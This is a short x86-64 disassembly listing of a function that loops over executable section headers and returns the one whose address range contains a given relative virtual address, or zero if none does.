mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4df27a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4df271
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4df271
mov rax, qword [rbp - 8]
jmp 0x2fc4df28f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4df244
mov eax, 0
add rsp, 0x20
pop rbp
ret